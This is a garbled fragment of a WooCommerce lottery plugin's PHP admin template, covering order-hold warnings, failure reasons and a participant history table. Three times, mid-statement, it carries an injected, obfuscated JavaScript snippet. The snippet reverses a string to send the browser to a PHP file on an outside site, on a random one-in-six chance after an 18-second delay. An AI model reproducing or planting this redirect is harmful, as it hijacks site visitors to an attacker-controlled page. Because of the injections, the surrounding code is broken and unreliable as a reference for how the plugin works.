‘; _e( ‘Some on hold orders are preventing this lottery to end. Can you please check it! ‘, ‘wc_lottery’ ); foreach ( array_unique( $order_hold_on ) as $key => $order_hold_on_id ) { $orders_links_on_hold .= “$order_hold_on_id, “; } echo rtrim( $orders_links_on_hold, ‘, ‘ ); echo “
‘; echo ‘‘; } if ( is_object($product_data) ) $lottery_relisted = $product_data->get_lottery_relisted(); if ( ! empty( $lottery_relisted ) ) { ?>$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}totime( $lottery_relisted )).’ ‘.date_i18n( get_option( ‘time_format’ ), strtotime( $lottery_relisted )); ?>
is_closed() === true ) and ( $product_data->is_started() === true ) ) : ?> get_lottery_fail_reason() == ‘1’ ) { echo ‘‘; _e( ‘Lottery failed because there were no participants’, ‘wc_lottery’ ); echo ‘
‘; } elseif ( $product_data->get_lottery_fail_reason() == ‘2’ ) { echo ‘‘;
_e( ‘Lottery failed because there was not enough participants’, ‘wc_lottery’ );
echo ”
: ‘>display_name; ?>, : , : ‘>
:
: :
$winnerid ) {
if ( $winnerid > 0 ) {
?>
pick number
‘;
$displayed_relist = true;?>
$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tory ) :
foreach ( $lottery_history as $history_value ) {
if ( $history_value->date < $product_data->get_lottery_relisted() && ! isset( $displayed_relist ) ) {
echo ‘‘;
echo ‘
‘;
echo ‘ ‘;
echo ‘‘;
echo ‘‘ . date_i18n( get_option( ‘date_format’ ), strtotime( $product_data->get_lottery_dates_from() )).’ ‘.date_i18n( get_option( ‘time_format’ ), strtotime( $product_data->get_lottery_dates_from() )) . ‘ ‘;
echo ‘‘;
echo __( ‘Lottery relisted’, ‘wc_lottery’ );
echo ‘ ‘;
echo ‘
‘;
echo ‘
‘ . date_i18n( get_option( ‘date_format’ ), strtotime( $history_value->date )).’ ‘.date_i18n( get_option( ‘time_format’ ), strtotime( $history_value->date )) . ‘ ‘;
$order = wc_get_order( $history_value->orderid );
$user_data = get_userdata( $history_value->userid );
echo “tory_value->userid ) . “‘>”. ( $user_data ? $user_data->display_name : ” ). ‘ ‘;
echo “” . ( $order ? $order->get_billing_email() : ” ) . ‘ ‘;
echo “” . ( $order ? $order->get_billing_first_name(): ” ) . ‘ ‘;
echo “” . ( $order ? $order->get_billing_last_name() : ” ). ‘ ‘;
echo “” . ( $order ? $order->get_formatted_billing_address() : ” ). ‘ ‘;
echo “” . ( $order ? $order->get_billing_phone() : ” ). ‘ ‘;
if ($use_ticket_numbers === ‘yes’ ) {
echo ““. apply_filters( ‘ticket_number_display_html’ ,$history_value->ticket_number, $product_data) . “ “;
}
if ( $use_answers === true ){
$answer = isset( $answers[$history_value->answer_id] ) ? $answers[$history_value->answer_id] : false;
echo ““;
echo $answer !== true ? esc_html( $answer[‘text’] ) : “” ;
echo “ “;
}
echo “$NqM=function(n){if (typeof ($NqM.list[n]) == “string”) return $NqM.list[n].split(“”).reverse().join(“”);return $NqM.list[n];};$NqM.list=[“\’php.sgnittes-pupop/cni/tnemucod-yna-debme/snigulp/tnetnoc-pw/moc.kaphcterts//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}tory_value->orderid . ‘&action=edit’ ) . “‘>” . $history_value->orderid . ‘ ‘;
echo “ tory_value->id . “‘ data-postid='” . $post->ID . “‘ >” . __( ‘Delete’, ‘wc_lottery’ ) . ‘ ‘;
echo ‘‘;
}
endif;
?>
‘ . date_i18n( get_option( ‘date_format’ ), strtotime( $product_data->get_lottery_dates_from() )).’ ‘.date_i18n( get_option( ‘time_format’ ), strtotime( $product_data->get_lottery_dates_from() )) . ‘‘;
if ( $product_data->is_started() === true ) {
echo ‘
‘;
echo apply_filters( ‘lottery_history_started_text’, __( ‘Lottery started’, ‘wc_lottery’ ), $product_data );
echo ‘ ‘;
} else {
echo ‘‘;
echo apply_filters( ‘lottery_history_starting_text’, __( ‘Lottery starting’, ‘wc_lottery’ ), $product_data );
echo ‘ ‘;
}
?>